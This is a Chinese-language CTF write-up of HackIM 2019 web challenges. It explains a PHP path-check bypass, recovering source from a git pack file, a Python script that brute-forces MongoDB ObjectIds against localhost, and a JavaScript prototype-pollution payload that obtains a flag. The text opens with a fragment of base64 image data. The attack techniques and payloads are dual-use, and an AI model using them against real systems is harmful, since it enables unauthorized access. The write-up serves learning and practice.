s1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABP4LyQifPIBG84gAAAAASUVORK5CYII=">

所以通过这些几个设置,我们就可以得到trackuser.php中请求参数m的值为 2656613544186699742 ,发包得到对应的 Cookie

带着 Cookie 登录 admin/admin,得到下一步

直接访问,发现是个目录列举。

直接访问admin.php,发现not_authorized

pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack文件则可以直接下载,我们可以通过git tips 只有一个 pack 文件恢复整个系统

得到admin.php文件

<?php

if ($_SESSION['go']) {

	$sp_php = explode('/', $_SERVER['PHP_SELF']);
	$langfilename = $sp_php[count($sp_php) - 1];

	$pageListArray = array('index.php' => "1");

	if ($pageListArray[$langfilename] != 1) {
		echo "not_authorized";
		Header("Location: index.php?not_authorized");

	} else {
		echo "hackim19{}";
	}
} else {

	echo "you need to complete the first barrier";

}


?>

简单审计,获取路径后检查index.php是否存在路径当中,我们用admin.php/index.php就可以简单绕过得到 flag

proton

​ Alice web site has been hacked and hackers removed the submit post option and posted some unwanted messages can you get them?

Hint

  • mango can be eaten in 60 seconds
  • Mongo Mongo Mongo !!! and this is not a sql Injection

题目设置

访问/getPOST又得到

添加id参数访问

单引号尝试注入,发现报错

注入无果后,看了一下发现是个 Node.js 的站,尝试使用之前的 payload 检查错误信息

然而并没有发现什么可疑的js库,而且题目既然给出了不是 sql 注入的话,我们就需要得另找方向。

MongoDB 中有一个ObjectId的概念,它是一种 MongoDB 的类型

​ ObjectIds are small, likely unique, fast to generate, and ordered. ObjectId values consist of 12 bytes, where the first four bytes are a timestamp that reflect the ObjectId’s creation. Specifically:

  • a 4-byte value representing the seconds since the Unix epoch,
  • a 5-byte random value, and
  • a 3-byte counter, starting with a random value.

参考Angstrom CTF 2018] The Best Website Write-up (Web230),我们可以发现中间5位虽然随机产生,但是是固定的,所以我们需要做的就是猜解前4位以及后3位。而题目给出 hint 意思是时间差应该是小于等于 60s ,然后最后三位根据一开始给出的id=5c51b9c9144f813f31a4c0e2,从a4c0e2开始+1枚举到a4c0ef,但是这道题比较坑的地方也就在这,最后题目顺序并不是从这顺推的,而是逆序枚举的,而且时间也不是整 60s ,所以还需要向前枚举。这里推荐大家使用MongoDB ObjectId ↔ Timestamp Converter方便查看时间戳

import requests

url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'  
time = 0x5c51b9c9  
counter = 0xa4c0e2

for i in range(100):  
    counter = hex(counter - 1)[2:]
    for i in range(1000000):
        time = hex(time - 1)[2:] 
        nurl = url % (time, counter)
        res = requests.get(nurl)
        if 'Not found' not in res.text:
            print(res.text, nurl)
            time = int(time, 16)
            counter = int(counter, 16)
            break
        time = int(time, 16)

终于在id=5c51b911144f813f31a4c0df得到关键信息

I told you you follow the White Rabbit. http://localhost:4545/getPOST?id=5c51b98d144f813f31a4c0e1

Did you actually come back ?? Go Away! http://localhost:4545/getPOST?id=5c51b952144f813f31a4c0e0

Shit MR Anderson and his agents are here. Hurryup!. Pickup the landline phone to exit back to matrix! - /4f34685f64ec9b82ea014bda3274b0df/  http://localhost:4545/getPOST?id=5c51b911144f813f31a4c0df

访问/5c51b911144f813f31a4c0df得到源码

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a,b){
 for (var attr in b){   
   if(isObject(a[attr]) && isObject(b[attr])){
      merge(a[attr],b[attr]);
   }
   else{
    a[attr] = b[attr];
 }
 }  
 return a 
} 

function clone(a){
  return merge({},a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')))

app.post('/signup', (req, res) => {
  var body = JSON.parse(JSON.stringify(req.body));
  var copybody = clone(body)
  if(copybody.name){
      res.cookie('name', copybody.name).json({"done":"cookie set"}); 
  }
  else{
    res.json({"error":"cookie not set"})
  }
});

app.get('/getFlag', (req, res) => {


     var аdmin=JSON.parse(JSON.stringify(req.cookies))
    
    if(admin.аdmin==1){
      res.send("hackim19{}");
    }
    else{
      res.send("You are not authorized"); 
    }


});


app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

需要我们将const adminadmin属性设置为1,比较明显的一个 js 原型链污染,我们只需要让一个Object.prototype设置为{"admin":1}即可,而我们还需要一个name参数,所以我们大致可以这样构造:{"name": "xxx", "__proto__":{"аdmin":"1"}}

在第二个for循环中,由于__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。

最后访问/getFlag成功获得flag

hackim19{Prototype_for_the_win}

国内关于原型链的文章还是比较少的,推荐一篇梅子酒师傅写的JavaScript原型链污染,写的还是不错的。

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


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